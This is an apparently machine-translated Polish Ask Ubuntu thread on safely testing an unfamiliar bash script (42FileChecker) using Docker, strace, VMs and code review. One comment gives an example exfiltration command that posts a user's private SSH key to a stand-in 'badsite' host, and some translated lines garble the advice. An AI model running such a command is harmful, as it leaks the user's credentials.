Jak mogę przetestować skrypt powłoki w „bezpiecznym środowisku”, aby uniknąć uszkodzenia mojego komputera?


29

Chciałbym zainstalować pewien skrypt bash o nazwie 42FileChecker za pomocą poleceń:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Ale nie wiem, czy 42FileChecker.sh zrobi jakieś dziwne rzeczy na moim komputerze, ponieważ jestem początkującym i nie wiem, co się dzieje w tym skrypcie. Czy istnieje sposób, aby uruchomić go w fikcyjnym terminalu lub fikcyjnym folderze głównym, czy coś takiego, aby zobaczyć, co się stanie, aby uniknąć czegoś szalonego, takiego jak formatowanie moich dysków. Chciałbym również wiedzieć, w jaki sposób testować powłoki pod kątem przyszłych skryptów powłoki, nawet jeśli 42FileChecker.sh jest bezpieczny.


5
Ponieważ jest to skrypt, możesz go przeczytać i przeczytać manstrony zawartych w nim poleceń.
waltinator

1
Pamiętaj, że ponieważ kod jest hostowany w Git, możesz czytać przez źródło narzędzia. Jeśli przegląd kodu nie jest twoją sprawą, wykonanie jakiejś „dynamicznej” analizy poprzez uruchomienie go w bezpiecznym środowisku (piaskownica, VM) jest twoim kolejnym najlepszym
wyborem

4
@waltinator Jeśli martwisz się złośliwym zachowaniem, a nie tylko niezamierzonym zachowaniem, czytanie stron podręcznika nie pomoże.
Ray

1
@ Promień, tylko jeśli uruchamiane polecenia same w sobie są złośliwe, więc ich strony podręcznika ukrywają swoje prawdziwe skutki. Myślę waltinator odnosił się do bardziej prawdopodobnym przypadku złośliwego użyciu standardowych poleceń, np chmod 777 -R ~lub curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsalub podobnych.
Wildcard

1
Związane . Można testować skrypty, nie ryzykując żadnych szkód na swoim komputerze i byłoby nauczyć swoich współpracowników, aby zablokować swoje sesje.
Eric Duminil

Odpowiedzi:


4

Nie jestem w tym ekspertem, ale zalecałbym używanie stracei docker.

Najpierw utwórz kontener Docker zgodnie z instrukcjami w tej odpowiedzi . Ale oprócz tego strace powie ci, jakie wywołania systemowe są wykonywane. Lub zacytować:

strace to diagnostyczne, debugujące i instruktażowe narzędzie przestrzeni użytkownika dla systemu Linux. Służy do monitorowania i manipulowania interakcjami między procesami a jądrem Linuksa, które obejmują wywołania systemowe, dostawy sygnałów i zmiany stanu procesu.

Możesz połączyć te polecenia z

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

To przejdzie przez każdą linię skryptu (krok po kroku), a także zrobi to wszystko w kontenerze, co oznacza, że ​​wszystkie polecenia nie zrobią absolutnie nic dla mojego systemu, ale zostaną uruchomione jak zwykle. Czy rozumiem to poprawnie?
nicholas

1
@nicholas tak pojemnik dokujący jest oddzielną maszyną dla twojej ochrony, program jest w trybie piaskownicy. Strace zapewni Ci wszystkie operacje, które aplikacja wykonuje na tym komputerze, od otwierania plików po konfigurowanie połączeń sieciowych.
Thomas

1
Tak, dokładnie tego szukałem, Strace w połączeniu z Dockerem.
Nicholas

42

Jeśli nie masz pewności, co robi skrypt, lepiej nie uruchamiać go, dopóki nie będziesz pewien, co on robi. Sposoby zmniejszenia promienia uszkodzenia złego skryptu obejmują uruchomienie go przy użyciu nowego użytkownika, uruchomienie w kontenerze lub uruchomienie na maszynie wirtualnej. Ale to pierwsze stwierdzenie nadal obowiązuje: jeśli nie jesteś pewien, co coś robi, rozważ uruchomienie go, dopóki tego nie zrobisz.


6
Z drugiej strony skrypty są jak EULA: Tak, powinieneś przeczytać i zrozumieć każdą linię przed sprzedażą swojej duszy, ale czy tak?
Peter - przywróć Monikę

7
@ PeterA.Schneider, ale umowy EULA tak naprawdę nic nie robią, dopóki nie trafią do sądu. Uruchomienie skryptu ma natychmiastowy wpływ na komputer. Nie tyle chodzi o czytanie każdej linii; chodzi raczej o „Refleksje na temat zaufania Trust” oraz poznania źródła skryptu i zaufania do niego.
Wildcard

29

Jak powiedział @ctt, prawdopodobnie dobrym pomysłem jest uruchomienie go najpierw w jakiejś piaskownicy. Korzystanie z maszyny wirtualnej jest prawdopodobnie najłatwiejszym rozwiązaniem. Multipass jest dość prosty.

Zainstaluj multipass (zakładając, że jeszcze tego nie zrobiłeś):

sudo snap install multipass --beta --classic

Rozwiń nową maszynę wirtualną:

multipass launch --name myvm

Zaloguj się do nowej maszyny wirtualnej:

multipass shell myvm

Następnie uruchom skrypt (w vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
To podejście nie jest bezpieczne. Po uruchomieniu skryptu w piaskownicy, jak zamierzasz stwierdzić, czy był bezpieczny? Może mieć szkodliwe skutki, których nie można łatwo powiedzieć. Złośliwe oprogramowanie niekoniecznie wyskakuje i mówi „Haha, mam cię!”. Ponadto złośliwy skrypt może łatwo zachowywać się w łagodny sposób podczas przebywania w piaskownicy lub maszynie wirtualnej, a następnie zachowywać się złośliwie na prawdziwym komputerze. (Na przykład wykrywanie maszyn wirtualnych jest takie samo, jak pobieranie odcisków palców maszynowych.)
DW

12
To jest świetny punkt. Jeśli chcesz sprawdzić skrypt pod kątem złośliwego oprogramowania, nie jest to skuteczne rozwiązanie. Jest to sposób testowania funkcjonalności bez zanieczyszczania systemu hosta.
Ryan J. Yoder,

Możesz wykonać pełne porównanie z „kontrolną” maszyną wirtualną.
mckenzm

6
@mckenzm: Ale jeśli jest to złośliwe oprogramowanie, jest całkiem możliwe, że zdecyduje się nic nie robić, dopóki nie znajdzie dostępu do czegoś, co wygląda soczyście.
Henning Makholm

11

Ponieważ szkoła, do której uczęszczasz, opublikowała skrypty, najlepszym miejscem do wyrażenia swoich obaw są instruktorzy.

To powiedziawszy, możemy pomóc ci rozszyfrować kod po linii. Prawdopodobnie jest to niepraktyczne dla każdego tutaj, aby analizować wszystkie kodu.

W rzeczywistości masz 40 skryptów bash z łączną liczbą 5 360 linii. Połączyłem je razem i szukałem poleceń bash / shell, które mogłyby zostać wykorzystane. Wszystkie wydają się być używane normalnie :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Nie ma rm -rf /polecenia, aby wyczyścić całą partycję dysku twardego.
  • Nie ma wymagań, które sudonależy zastosować do uruchomienia skryptu.
  • Skrypt faktycznie sprawdza, czy Cw sprawdzanych plikach używane są tylko autoryzowane funkcje.
  • Szybkie przeglądanie kodu bash / shell pokazuje, że jest on profesjonalnie napisany i łatwy do naśladowania.
  • Użycie sprawdzania powłoki w scalonych plikach dołączanych ujawnia tylko trzy błędy składniowe.
  • Nazwiska autorów są identyfikowane, a główny autor ma nawet swoje zdjęcie na swojej githubstronie.
  • Chociaż nie ma żadnych gwarancji w życiu, 42FileCheckerwydaje się bezpieczny w użyciu.

To nie są czytelne dla ludzi skrypty bash, o które musisz się tak bardzo martwić. Są to skompilowane obiekty binarne, których nie można odczytać, które stanowią powód do niepokoju. Na przykład program o nazwie „błyszcząca kula sprężysta” może namalować coś takiego na ekranie, ale w tle może wymazać wszystkie pliki.


Oryginalna odpowiedź

Najlepiej zapytać autora skryptu, co robi. Rzeczywiście, możesz prawie opublikować swoje pytanie dosłownie, jak pokazano powyżej.

Zapytaj także autora:

  • Jakie pliki są aktualizowane?
  • Co się stanie, jeśli nastąpi awaria z powodu awarii zasilania lub błędu programu?
  • Czy najpierw można wykonać mini-kopię zapasową?

I wszelkie inne dobre pytania, o których możesz pomyśleć.


Edycja 1 - Martwi się o złośliwego autora.

Powinieneś używać oprogramowania z dużą ilością dobrych opinii publicznych. Alternatywnie autorzy, którym ufasz tutaj w Ask Ubuntu, jak Serge, Jacob, Colin King itp. Inne szanowane strony, takie jak Ask Ubuntu i ich szanowani członkowie, również powinny być uważane za „nie-złośliwe”.

Zaletą „szanowanych autorów” tutaj w Ask Ubuntu jest to, że stawiają swoją wartość na „punkty reputacji”. Jeśli mieliby celowo napisać kod, który „ukradł” lub „uszkodził” dane, szybko straciliby swoją reputację. Rzeczywiście autorzy mogą cierpieć z powodu „gniewu modów” i być zawieszeni i / lub zabrać 10 000 punktów reputacji.


Edycja 2 - Nie wykonuj wszystkich instrukcji

Przyjrzałem się dokładniej instrukcjom skryptu bash:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

„Bezpieczną” metodą jest uruchomienie tylko pierwszego wiersza:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Spowoduje to pobranie skryptów, ale ich nie uruchomi. Następnie użyj nautilus(menedżera plików), aby sprawdzić zainstalowane katalogi i pliki. Bardzo szybko odkrywasz, że istnieje zbiór skryptów bash napisanych przez grupę studentów we Francji.

Celem skryptów jest kompilacja i testowanie programów C pod kątem nieprawidłowych funkcji i wycieków pamięci.


1
Powinienem tak, ale myślałem o sytuacjach, w których autor może celowo robić coś złośliwego.
Nicholas

1
@nicholas Odpowiedziałem na twój komentarz, zmieniając odpowiedź.
WinEunuuchs2Unix

2
Uczę się języka C na kursie Ecole 42. Funkcje, które wykonuję, muszą przejść przez tę kontrolę norm. Muszę zainstalować 42FileChecker w Ubuntu, aby uruchomić to sprawdzanie norm. Chyba muszę na razie zaufać temu skryptowi, ale najpierw musiałem wiedzieć, jak wykonać „bezpieczny” skrypt, ponieważ nie jestem zbyt dobry w wyszukiwaniu ludzi. Dzięki za pomoc. Następnym razem uruchomię maszynę wirtualną.
Nicholas

2
@nicholas Linia 24 ~/42FileChecker/includes/display/display_credits.shprac Zjednoczone norminette za to dependancy: norminette (42 born2code) http://www.42.fr. Przeczytałem to ostatniej nocy i dlatego napisałem, że to szkoła (ecole) we Francji, która opublikowała 42FileChecker . Z tego, co do tej pory przeglądałem kod, nie martwiłbym się jego uruchomieniem. Ponadto ma bardzo niewiele zgłoszonych błędów składniowych, shellcheckco jest zaskakujące dla 5360-liniowego skryptu bash. Wiele profesjonalnie opublikowanych skryptów bash ma wiele błędów składniowych.
WinEunuuchs2Unix

2
@nicholas Z punktu widzenia bezpieczeństwa korzystanie ze środowiska i skryptów przewidzianych dla klasy jest prawdopodobnie najlepszym podejściem. Eliminuje to także możliwość odmiennego zachowania niż oficjalna wersja kursu, co może być zaskoczeniem w momencie oddania do użytku. Czy na pewno nie ma zdalnego dostępu do tego komputera, być może przy użyciu usługi VPN świadczonej w kampusie lub SSH z innego komputera, do którego można uzyskać zdalny dostęp?
trognanders

5

Możesz użyć Dockera. Kontenery dokujące są odizolowane od systemu operacyjnego hosta, więc wszelkie złośliwe działania pozostaną w kontenerze, o ile nie zostanie to specjalnie wydane przez przekierowanie portów lub zamontowanie systemów plików.

Aby zainstalować okno dokowane:

sudo apt-get install docker.io

Aby pobrać nowy pojemnik Ubuntu Bionic:

docker pull ubuntu:bionic

Następnie zaloguj się do kontenera

docker run -it ubuntu:bionic

i wykonaj w nim podejrzaną operację:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Kolejną zaletą Dockera, która może być pomocna w określeniu działania skryptu, jest to, że można uruchomić, docker diffaby zobaczyć, jakie zmiany zostały wprowadzone w systemie plików od momentu uruchomienia kontenera. Minusem korzystania z Dockera jest to, że kontener nie jest pełną kopią systemu hosta. Obraz Ubuntu, o którym tu wspominasz, zawiera tylko minimalną instalację Ubuntu.
Martijn Heemels,

2
Zamiast tego docker run ubuntunależy uruchomić docker run -it ubuntu:bionicThe -itdaje interaktywny terminal w kontenerze i bionicfaktycznie uruchamia żądaną wersję zamiast domyślnej latest.
Martijn Heemels,

Podoba mi się ta odpowiedź najlepsza z tych, które widziałem. Wygląda jednak na to, że podejrzany skrypt może nadal nadużywać twój system. To może być potajemnie wydobycie bitcoins itp Idealnie można by wykorzystać dodatkowe flagi ewentualnie --memory, --networki być może inni naprawdę zablokować skrypt.
emory

1
Jeśli naprawdę jesteś paranoikiem, połącz tę odpowiedź z drugą najlepszą odpowiedzią. Uruchom okno dokowane w maszynie wirtualnej i zablokuj wszystko.
emory

3

Rozważ użycie trybu debugowania, uruchamiając skrypt jako:

$ bash -x scriptname

Dalsze przydatne informacje Bash

Tryb debugowania nie powstrzyma skryptu przed zrobieniem czegoś złego, ale pozwoli ci przejść przez skrypt wiersz po wierszu i zbadać efekty. Możesz także sprawdzić skrypt pod kątem typowych potencjalnych błędów i / lub exploitów, np. Przeszukać skrypty pod kątem wystąpienia rmi bardzo uważnie przyjrzeć się tym poleceniom. Wiele z tych narzędzi ma jakąś pomoc wbudowany do wypróbowując je, np rm nie usunie katalog domyślnie potrzebuje -r, -Rlub --recursiveopcję, aby to zrobić.

Mogą nawet istnieć narzędzia podobne do programów antywirusowych, które wyszukują te skrypty w skryptach bash, ale nie znam ich z nazwy. Twoje przykładowe skrypty są trochę niepewne, w tym sensie, że pobierają inne narzędzia, więc każde z nich również powinno zostać zbadane. Warto również sprawdzić, z którymi serwerami się kontaktują.


-x może być użyty do debugowania (i ja go używam!), ale nie pozwoli ci przechodzić przez skrypt po linii. Daje ci to pewien „ślad”, gdy wykonuje skrypt z pełną prędkością.
jrw32982 obsługuje Monikę

2

Odpowiednie informacje do udzielenia odpowiedzi znajdują się niestety tylko w komentarzu:

Uczę się języka C na kursie Ecole 42. Funkcje, które wykonuję, muszą przejść przez tę kontrolę norm. Muszę zainstalować 42FileChecker w Ubuntu, aby uruchomić to sprawdzanie norm.

Tak więc sytuacja jest taka, że w praktyce masz możliwość pominięcia kursu lub możesz uruchomić skrypt, aby wykonać normatywne kontrole źródeł. Rozmowa z instruktorem nie jest opcją z powodu braku tego pierwszego (w przeciwnym razie nie byłaby to opcja, żadna szkoła nie zmieni swojej procedury, ponieważ jeden uczeń nie jest z tego zadowolony).
Pytanie, co zrobić, aby ograniczyć ewentualne szkody z tego skryptu, więc nawet nie powstaje. To nie jest przypadkowy scenariusz, który napalona dziewczyna z dużymi piersiami wysłała do ciebie e-mailem i który musisz uruchomić, aby zobaczyć jej zdjęcie .
Robisz zajęcia z programowania. Toto gdzie ten skrypt wszedł do gry. Pytanie brzmi, czy chcesz spełnić warunki ramowe pomyślnego ukończenia kursu.

Jednak jeśli naprawdę się martwisz, nadal istnieje możliwość uruchomienia skryptu w kontenerze lub maszynie wirtualnej i umieszczenia źródeł w folderze współdzielonym lub w udziale sieciowym ujawnionym przez kontener / maszynę wirtualną. To prawie przejście na pełną paranoję, ale z drugiej strony wirtualizacja wcale nie jest tak skomplikowana, więc nie kosztuje dużo.

Z wyjątkiem mało prawdopodobnej możliwości zawarcia w tym skrypcie bardzo trudnego exploita, zalogowania się jako każdy użytkownik inny niż root (co nie ma innego wyboru niż Ubuntu) i unikanie pisania sudo bez żadnego wyraźnego powodu uniemożliwia 99% wszystkie złe rzeczy, które i tak mogą się wydarzyć. Takich jak formatowanie dysku twardego, o które się martwisz. Zwykły użytkownik po prostu nie może tego zrobić. Najgorsze, co może się stać, to skasowanie katalogu domowego użytkownika. Więc co, nie ma problemu, naprawdę.


Mam nadzieję, że OP komentuje tutaj, czy sudowymagane jest uruchomienie skryptu. +1
WinEunuuchs2Unix

Unikanie sudoogranicza jedynie zakres przypadkowego usunięcia / formatowania z powodu błędów. Jeśli skrypt był złośliwy lub nadawał się do wykorzystania, uruchomienie sudow systemie jednego użytkownika nie ma istotnej różnicy.
ten drugi facet

@ WinEunuuchs2Unix Nie sądzę, że sudo jest konieczne. Naprawdę tak naprawdę nie wiem. Chociaż używam sudo do komend apt install. Czy to oznacza, że ​​muszę go również użyć do uruchomienia skryptu?
Nicholas

1
@nicholas Nie mam żadnych programów C do kompilacji i testowania, 42FileCheckerwięc nie mogę powiedzieć, czy sudojest to potrzebne, czy nie. Skrypt bash nie sprawdza sudo i mówi ci, abyś go używał. Wygląda na to, że sudonie jest to wymagane. Po raz kolejny myślę, że najlepiej poprosić instruktora (nauczyciela). Zaktualizowałem swoją odpowiedź godzinę temu z małą analizą skryptu. Zauważ, że nazwa „ mynorminette” pojawiła się ponownie w kodzie.
WinEunuuchs2Unix

1
@nicholas Założę się, że niektórzy instruktorzy osobiście znają norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk i Jean-Michel Gigault, którzy wszyscy przyczynili się do tego 42FileChecker. Wierzę, że rozmowa z instruktorami uspokoi twój umysł. Po kilku godzinach dochodzenia wierzę w programistów i ich twórczość. Jean-Michel Gigault ma nawet swoje zdjęcie na githubie. Całkiem świadectwo zaufania do ziemi, na której rosną nasiona Żółtej Kamizelki. Viva La France! (et Ecole 42 :)) Wyświadcz nam przysługę i wpadnij, aby otrzymywać informacje o postępach.
WinEunuuchs2Unix
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.